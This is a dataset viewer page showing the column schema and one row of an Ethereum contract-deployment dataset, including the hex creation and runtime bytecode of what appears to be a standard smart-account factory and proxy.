Search is not available for this dataset
chain_id
uint64 1
1
| block_number
uint64 19.5M
20M
| block_hash
stringlengths 64
64
| transaction_hash
stringlengths 64
64
| deployer_address
stringlengths 40
40
| factory_address
stringlengths 40
40
| contract_address
stringlengths 40
40
| creation_bytecode
stringlengths 0
98.3k
| runtime_bytecode
stringlengths 0
49.2k
| creation_sourcecode
stringlengths 0
976k
|
---|---|---|---|---|---|---|---|---|---|
1 | 20,290,644 | c53b7f8bc882020dc45f9c91a8cf52aa12896e530a4aee1b595e0a33f741be1c | 3065121c59e711573b75f441a6bbc4d60e5eb0d1a6077bae7f7d1585ae026ed4 | a0649927458e5fa49b93d970f01c40c788577f22 | 4e59b44847b379578588920ca78fbf26c0b4956c | 50585668eaa39bbdb5f6a66cf0d7c0fa25c9c0a7 | 60a060405234801561001057600080fd5b5060405161352538038061352583398101604081905261002f91610088565b8060405161003c9061007b565b6001600160a01b039091168152602001604051809103906000f080158015610068573d6000803e3d6000fd5b506001600160a01b0316608052506100b8565b61279f80610d8683390190565b60006020828403121561009a57600080fd5b81516001600160a01b03811681146100b157600080fd5b9392505050565b608051610ca66100e060003960008181604b0152818161011401526102580152610ca66000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806311464fbe146100465780635fbfb9cf146100965780638cb84e18146100a9575b600080fd5b61006d7f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61006d6100a436600461039d565b6100bc565b61006d6100b736600461039d565b6101ee565b6000806100c984846101ee565b905073ffffffffffffffffffffffffffffffffffffffff81163b80156100f1575090506101e8565b60405173ffffffffffffffffffffffffffffffffffffffff8616602482015284907f000000000000000000000000000000000000000000000000000000000000000090604401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fc4d66de800000000000000000000000000000000000000000000000000000000179052516101b790610390565b6101c2929190610412565b8190604051809103906000f59050801580156101e2573d6000803e3d6000fd5b50925050505b92915050565b60006103578260001b6040518060200161020790610390565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe082820381018352601f90910116604081905273ffffffffffffffffffffffffffffffffffffffff871660248201527f000000000000000000000000000000000000000000000000000000000000000090604401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152918152602080830180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fc4d66de800000000000000000000000000000000000000000000000000000000179052905161030093929101610412565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529082905261033c9291602001610480565b6040516020818303038152906040528051906020012061035e565b9392505050565b60006103578383306000604051836040820152846020820152828152600b8101905060ff815360559020949350505050565b6107c1806104b083390190565b600080604083850312156103b057600080fd5b823573ffffffffffffffffffffffffffffffffffffffff811681146103d457600080fd5b946020939093013593505050565b60005b838110156103fd5781810151838201526020016103e5565b8381111561040c576000848401525b50505050565b73ffffffffffffffffffffffffffffffffffffffff83168152604060208201526000825180604084015261044d8160608501602087016103e2565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016060019392505050565b600083516104928184602088016103e2565b8351908301906104a68183602088016103e2565b0194935050505056fe60806040526040516107c13803806107c183398101604081905261002291610321565b61002e82826000610035565b505061043e565b61003e8361006b565b60008251118061004b5750805b156100665761006483836100ab60201b6100291760201c565b505b505050565b610074816100d7565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100d0838360405180606001604052806027815260200161079a602791396101a9565b9392505050565b6100ea8161022260201b6100551760201c565b6101515760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b806101887f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b61023160201b6100711760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b6060600080856001600160a01b0316856040516101c691906103ef565b600060405180830381855af49150503d8060008114610201576040519150601f19603f3d011682016040523d82523d6000602084013e610206565b606091505b50909250905061021886838387610234565b9695505050505050565b6001600160a01b03163b151590565b90565b606083156102a357825160000361029c576001600160a01b0385163b61029c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610148565b50816102ad565b6102ad83836102b5565b949350505050565b8151156102c55781518083602001fd5b8060405162461bcd60e51b8152600401610148919061040b565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103105781810151838201526020016102f8565b838111156100645750506000910152565b6000806040838503121561033457600080fd5b82516001600160a01b038116811461034b57600080fd5b60208401519092506001600160401b038082111561036857600080fd5b818501915085601f83011261037c57600080fd5b81518181111561038e5761038e6102df565b604051601f8201601f19908116603f011681019083821181831017156103b6576103b66102df565b816040528281528860208487010111156103cf57600080fd5b6103e08360208301602088016102f5565b80955050505050509250929050565b600082516104018184602087016102f5565b9190910192915050565b602081526000825180602084015261042a8160408501602087016102f5565b601f01601f19169190910160400192915050565b61034d8061044d6000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610074565b6100b9565b565b606061004e83836040518060600160405280602781526020016102f1602791396100dd565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff163b151590565b90565b60006100b47f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b905090565b3660008037600080366000845af43d6000803e8080156100d8573d6000f35b3d6000fd5b60606000808573ffffffffffffffffffffffffffffffffffffffff16856040516101079190610283565b600060405180830381855af49150503d8060008114610142576040519150601f19603f3d011682016040523d82523d6000602084013e610147565b606091505b509150915061015886838387610162565b9695505050505050565b606083156101fd5782516000036101f65773ffffffffffffffffffffffffffffffffffffffff85163b6101f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610207565b610207838361020f565b949350505050565b81511561021f5781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ed919061029f565b60005b8381101561026e578181015183820152602001610256565b8381111561027d576000848401525b50505050565b60008251610295818460208701610253565b9190910192915050565b60208152600082518060208401526102be816040850160208701610253565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212207206d121ffa3833c53409418e4fa745480d0e85b53510553873d6d68cc9bcdb864736f6c634300080f0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122099d69ab3ace1acfd1b7b4773ff1b5f5d198d48b6400a053f07d8ef8df781b35c64736f6c634300080f003360c0604052306080523480156200001557600080fd5b506040516200279f3803806200279f833981016040819052620000389162000117565b6001600160a01b03811660a0526200004f62000056565b5062000149565b600054610100900460ff1615620000c35760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161462000115576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156200012a57600080fd5b81516001600160a01b03811681146200014257600080fd5b9392505050565b60805160a0516125e3620001bc6000396000818161036a01528181610a0601528181610ab401528181610ed001528181611121015281816113980152818161155d0152611770015260008181610635015281816106ea01528181610b7001528181610c200152610d6901526125e36000f3fe6080604052600436106101475760003560e01c80634f1ef286116100c0578063bc197c8111610074578063c4d66de811610059578063c4d66de81461040b578063d087d2881461042b578063f23a6e611461044057600080fd5b8063bc197c81146103ae578063c399ec88146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b14610303578063b0d691fe1461035b578063b61d27f61461038e57600080fd5b80634f1ef286146102db57806352d1902d146102ee57600080fd5b80633659cfe61161011757806347e1da2a116100fc57806347e1da2a146102935780634a58db19146102b35780634d44560d146102bb57600080fd5b80633659cfe6146102455780633a871cdd1461026557600080fd5b806223de291461015357806301ffc9a71461017a578063150b7a02146101af5780631626ba7e1461022557600080fd5b3661014e57005b600080fd5b34801561015f57600080fd5b5061017861016e366004611e11565b5050505050505050565b005b34801561018657600080fd5b5061019a610195366004611ec2565b610486565b60405190151581526020015b60405180910390f35b3480156101bb57600080fd5b506101f46101ca366004611f04565b7f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020016101a6565b34801561023157600080fd5b506101f4610240366004612051565b61056b565b34801561025157600080fd5b50610178610260366004612098565b61061e565b34801561027157600080fd5b506102856102803660046120b5565b610828565b6040519081526020016101a6565b34801561029f57600080fd5b506101786102ae36600461214e565b61084e565b610178610a04565b3480156102c757600080fd5b506101786102d63660046121e8565b610aaa565b6101786102e9366004612214565b610b59565b3480156102fa57600080fd5b50610285610d4f565b34801561030f57600080fd5b506000546103369062010000900473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a6565b34801561036757600080fd5b507f0000000000000000000000000000000000000000000000000000000000000000610336565b34801561039a57600080fd5b506101786103a936600461224e565b610e3b565b3480156103ba57600080fd5b506101f46103c93660046122aa565b7fbc197c810000000000000000000000000000000000000000000000000000000098975050505050505050565b34801561040257600080fd5b50610285610e8a565b34801561041757600080fd5b50610178610426366004612098565b610f41565b34801561043757600080fd5b506102856110d4565b34801561044c57600080fd5b506101f461045b366004612348565b7ff23a6e61000000000000000000000000000000000000000000000000000000009695505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f150b7a0200000000000000000000000000000000000000000000000000000000148061051957507fffffffff0000000000000000000000000000000000000000000000000000000082167f4e2312e000000000000000000000000000000000000000000000000000000000145b8061056557507fffffffff0000000000000000000000000000000000000000000000000000000082167f01ffc9a700000000000000000000000000000000000000000000000000000000145b92915050565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000908152601c839052603c81206105a48184611150565b60005462010000900473ffffffffffffffffffffffffffffffffffffffff9081169116146105f557507fffffffff000000000000000000000000000000000000000000000000000000009050610565565b507f1626ba7e000000000000000000000000000000000000000000000000000000009392505050565b73ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001630036106e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084015b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1661075d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610800576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f7879000000000000000000000000000000000000000060648201526084016106df565b61080981611174565b604080516000808252602082019092526108259183919061117c565b50565b6000610832611380565b61083c8484611421565b9050610847826114da565b9392505050565b610856611545565b848114801561086c575082158061086c57508281145b6108d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f77726f6e67206172726179206c656e677468730000000000000000000000000060448201526064016106df565b60008390036109885760005b85811015610982576109708787838181106108fb576108fb6123b2565b90506020020160208101906109109190612098565b6000858585818110610924576109246123b2565b905060200281019061093691906123e1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061160c92505050565b8061097a81612446565b9150506108de565b506109fc565b60005b858110156109fa576109e88787838181106109a8576109a86123b2565b90506020020160208101906109bd9190612098565b8686848181106109cf576109cf6123b2565b90506020020135858585818110610924576109246123b2565b806109f281612446565b91505061098b565b505b505050505050565b7f00000000000000000000000000000000000000000000000000000000000000006040517fb760faf900000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff919091169063b760faf99034906024016000604051808303818588803b158015610a8f57600080fd5b505af1158015610aa3573d6000803e3d6000fd5b5050505050565b610ab2611689565b7f00000000000000000000000000000000000000000000000000000000000000006040517f205c287800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff848116600483015260248201849052919091169063205c287890604401600060405180830381600087803b158015610b4557600080fd5b505af11580156109fc573d6000803e3d6000fd5b73ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000163003610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084016106df565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16610c937f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f7879000000000000000000000000000000000000000060648201526084016106df565b610d3f82611174565b610d4b8282600161117c565b5050565b60003073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614610e16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016106df565b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc90565b610e43611545565b610e84848484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061160c92505050565b50505050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015260009073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000016906370a08231906024015b602060405180830381865afa158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c91906124a5565b905090565b600054610100900460ff1615808015610f615750600054600160ff909116105b80610f7b5750303b158015610f7b575060005460ff166001145b611007576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016106df565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055801561106557600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101001790555b61106e8261171a565b8015610d4b57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b6040517f35567e1a0000000000000000000000000000000000000000000000000000000081523060048201526000602482018190529073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000016906335567e1a90604401610efb565b600080600061115f85856117b9565b9150915061116c816117fe565b509392505050565b610825611689565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff16156111b4576111af836119b1565b505050565b8273ffffffffffffffffffffffffffffffffffffffff166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015611239575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252611236918101906124a5565b60015b6112c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201527f6f6e206973206e6f74205555505300000000000000000000000000000000000060648201526084016106df565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8114611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f7860448201527f6961626c6555554944000000000000000000000000000000000000000000000060648201526084016106df565b506111af838383611abb565b3373ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000161461141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f6163636f756e743a206e6f742066726f6d20456e747279506f696e740000000060448201526064016106df565b565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000908152601c829052603c812061149e6114616101408601866123e1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525085939250506111509050565b60005462010000900473ffffffffffffffffffffffffffffffffffffffff9081169116146114d0576001915050610565565b5060009392505050565b80156108255760405160009033907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90849084818181858888f193505050503d8060008114610aa3576040519150601f19603f3d011682016040523d82523d6000602084013e610aa3565b3373ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614806115a6575060005462010000900473ffffffffffffffffffffffffffffffffffffffff1633145b61141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f6163636f756e743a206e6f74204f776e6572206f7220456e747279506f696e7460448201526064016106df565b6000808473ffffffffffffffffffffffffffffffffffffffff16848460405161163591906124ea565b60006040518083038185875af1925050503d8060008114611672576040519150601f19603f3d011682016040523d82523d6000602084013e611677565b606091505b509150915081610aa357805160208201fd5b60005462010000900473ffffffffffffffffffffffffffffffffffffffff163314806116b457503330145b61141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6f6e6c79206f776e65720000000000000000000000000000000000000000000060448201526064016106df565b600080547fffffffffffffffffffff0000000000000000000000000000000000000000ffff166201000073ffffffffffffffffffffffffffffffffffffffff8481168202929092178084556040519190048216927f0000000000000000000000000000000000000000000000000000000000000000909216917f8c299b338bd4e1ca9665a6148e47478b404f85f73d89b92bb9dd7d9b96c4325d91a350565b60008082516041036117ef5760208301516040840151606085015160001a6117e387828585611ae0565b945094505050506117f7565b506000905060025b9250929050565b600081600481111561181257611812612506565b0361181a5750565b600181600481111561182e5761182e612506565b03611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016106df565b60028160048111156118a9576118a9612506565b03611910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016106df565b600381600481111561192457611924612506565b03610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f756500000000000000000000000000000000000000000000000000000000000060648201526084016106df565b73ffffffffffffffffffffffffffffffffffffffff81163b611a55576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016106df565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b611ac483611bcf565b600082511180611ad15750805b156111af57610e848383611c1c565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115611b175750600090506003611bc6565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015611b6b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611bbf57600060019250925050611bc6565b9150600090505b94509492505050565b611bd8816119b1565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061084783836040518060600160405280602781526020016125876027913960606000808573ffffffffffffffffffffffffffffffffffffffff1685604051611c6691906124ea565b600060405180830381855af49150503d8060008114611ca1576040519150601f19603f3d011682016040523d82523d6000602084013e611ca6565b606091505b5091509150611cb786838387611cc1565b9695505050505050565b60608315611d57578251600003611d505773ffffffffffffffffffffffffffffffffffffffff85163b611d50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106df565b5081611d61565b611d618383611d69565b949350505050565b815115611d795781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106df9190612535565b73ffffffffffffffffffffffffffffffffffffffff8116811461082557600080fd5b60008083601f840112611de157600080fd5b50813567ffffffffffffffff811115611df957600080fd5b6020830191508360208285010111156117f757600080fd5b60008060008060008060008060c0898b031215611e2d57600080fd5b8835611e3881611dad565b97506020890135611e4881611dad565b96506040890135611e5881611dad565b955060608901359450608089013567ffffffffffffffff80821115611e7c57600080fd5b611e888c838d01611dcf565b909650945060a08b0135915080821115611ea157600080fd5b50611eae8b828c01611dcf565b999c989b5096995094979396929594505050565b600060208284031215611ed457600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461084757600080fd5b600080600080600060808688031215611f1c57600080fd5b8535611f2781611dad565b94506020860135611f3781611dad565b935060408601359250606086013567ffffffffffffffff811115611f5a57600080fd5b611f6688828901611dcf565b969995985093965092949392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600082601f830112611fb757600080fd5b813567ffffffffffffffff80821115611fd257611fd2611f77565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190828211818310171561201857612018611f77565b8160405283815286602085880101111561203157600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561206457600080fd5b82359150602083013567ffffffffffffffff81111561208257600080fd5b61208e85828601611fa6565b9150509250929050565b6000602082840312156120aa57600080fd5b813561084781611dad565b6000806000606084860312156120ca57600080fd5b833567ffffffffffffffff8111156120e157600080fd5b840161016081870312156120f457600080fd5b95602085013595506040909401359392505050565b60008083601f84011261211b57600080fd5b50813567ffffffffffffffff81111561213357600080fd5b6020830191508360208260051b85010111156117f757600080fd5b6000806000806000806060878903121561216757600080fd5b863567ffffffffffffffff8082111561217f57600080fd5b61218b8a838b01612109565b909850965060208901359150808211156121a457600080fd5b6121b08a838b01612109565b909650945060408901359150808211156121c957600080fd5b506121d689828a01612109565b979a9699509497509295939492505050565b600080604083850312156121fb57600080fd5b823561220681611dad565b946020939093013593505050565b6000806040838503121561222757600080fd5b823561223281611dad565b9150602083013567ffffffffffffffff81111561208257600080fd5b6000806000806060858703121561226457600080fd5b843561226f81611dad565b935060208501359250604085013567ffffffffffffffff81111561229257600080fd5b61229e87828801611dcf565b95989497509550505050565b60008060008060008060008060a0898b0312156122c657600080fd5b88356122d181611dad565b975060208901356122e181611dad565b9650604089013567ffffffffffffffff808211156122fe57600080fd5b61230a8c838d01612109565b909850965060608b013591508082111561232357600080fd5b61232f8c838d01612109565b909650945060808b0135915080821115611ea157600080fd5b60008060008060008060a0878903121561236157600080fd5b863561236c81611dad565b9550602087013561237c81611dad565b94506040870135935060608701359250608087013567ffffffffffffffff8111156123a657600080fd5b6121d689828a01611dcf565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261241657600080fd5b83018035915067ffffffffffffffff82111561243157600080fd5b6020019150368190038213156117f757600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361249e577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b5060010190565b6000602082840312156124b757600080fd5b5051919050565b60005b838110156124d95781810151838201526020016124c1565b83811115610e845750506000910152565b600082516124fc8184602087016124be565b9190910192915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60208152600082518060208401526125548160408501602087016124be565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205b825edb6867b32e7df82a666780a16c09f354e2dcea362ae0495783882e0be164736f6c634300080f00330000000000000000000000005ff137d4b0fdcd49dca30c7cf57e578a026d2789 | 608060405234801561001057600080fd5b50600436106100415760003560e01c806311464fbe146100465780635fbfb9cf146100965780638cb84e18146100a9575b600080fd5b61006d7f000000000000000000000000083075f484a927349448665c362ae77f1329c28281565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61006d6100a436600461039d565b6100bc565b61006d6100b736600461039d565b6101ee565b6000806100c984846101ee565b905073ffffffffffffffffffffffffffffffffffffffff81163b80156100f1575090506101e8565b60405173ffffffffffffffffffffffffffffffffffffffff8616602482015284907f000000000000000000000000083075f484a927349448665c362ae77f1329c28290604401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fc4d66de800000000000000000000000000000000000000000000000000000000179052516101b790610390565b6101c2929190610412565b8190604051809103906000f59050801580156101e2573d6000803e3d6000fd5b50925050505b92915050565b60006103578260001b6040518060200161020790610390565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe082820381018352601f90910116604081905273ffffffffffffffffffffffffffffffffffffffff871660248201527f000000000000000000000000083075f484a927349448665c362ae77f1329c28290604401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152918152602080830180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fc4d66de800000000000000000000000000000000000000000000000000000000179052905161030093929101610412565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529082905261033c9291602001610480565b6040516020818303038152906040528051906020012061035e565b9392505050565b60006103578383306000604051836040820152846020820152828152600b8101905060ff815360559020949350505050565b6107c1806104b083390190565b600080604083850312156103b057600080fd5b823573ffffffffffffffffffffffffffffffffffffffff811681146103d457600080fd5b946020939093013593505050565b60005b838110156103fd5781810151838201526020016103e5565b8381111561040c576000848401525b50505050565b73ffffffffffffffffffffffffffffffffffffffff83168152604060208201526000825180604084015261044d8160608501602087016103e2565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016060019392505050565b600083516104928184602088016103e2565b8351908301906104a68183602088016103e2565b0194935050505056fe60806040526040516107c13803806107c183398101604081905261002291610321565b61002e82826000610035565b505061043e565b61003e8361006b565b60008251118061004b5750805b156100665761006483836100ab60201b6100291760201c565b505b505050565b610074816100d7565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100d0838360405180606001604052806027815260200161079a602791396101a9565b9392505050565b6100ea8161022260201b6100551760201c565b6101515760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b806101887f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b61023160201b6100711760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b6060600080856001600160a01b0316856040516101c691906103ef565b600060405180830381855af49150503d8060008114610201576040519150601f19603f3d011682016040523d82523d6000602084013e610206565b606091505b50909250905061021886838387610234565b9695505050505050565b6001600160a01b03163b151590565b90565b606083156102a357825160000361029c576001600160a01b0385163b61029c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610148565b50816102ad565b6102ad83836102b5565b949350505050565b8151156102c55781518083602001fd5b8060405162461bcd60e51b8152600401610148919061040b565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103105781810151838201526020016102f8565b838111156100645750506000910152565b6000806040838503121561033457600080fd5b82516001600160a01b038116811461034b57600080fd5b60208401519092506001600160401b038082111561036857600080fd5b818501915085601f83011261037c57600080fd5b81518181111561038e5761038e6102df565b604051601f8201601f19908116603f011681019083821181831017156103b6576103b66102df565b816040528281528860208487010111156103cf57600080fd5b6103e08360208301602088016102f5565b80955050505050509250929050565b600082516104018184602087016102f5565b9190910192915050565b602081526000825180602084015261042a8160408501602087016102f5565b601f01601f19169190910160400192915050565b61034d8061044d6000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610074565b6100b9565b565b606061004e83836040518060600160405280602781526020016102f1602791396100dd565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff163b151590565b90565b60006100b47f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b905090565b3660008037600080366000845af43d6000803e8080156100d8573d6000f35b3d6000fd5b60606000808573ffffffffffffffffffffffffffffffffffffffff16856040516101079190610283565b600060405180830381855af49150503d8060008114610142576040519150601f19603f3d011682016040523d82523d6000602084013e610147565b606091505b509150915061015886838387610162565b9695505050505050565b606083156101fd5782516000036101f65773ffffffffffffffffffffffffffffffffffffffff85163b6101f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610207565b610207838361020f565b949350505050565b81511561021f5781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ed919061029f565b60005b8381101561026e578181015183820152602001610256565b8381111561027d576000848401525b50505050565b60008251610295818460208701610253565b9190910192915050565b60208152600082518060208401526102be816040850160208701610253565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212207206d121ffa3833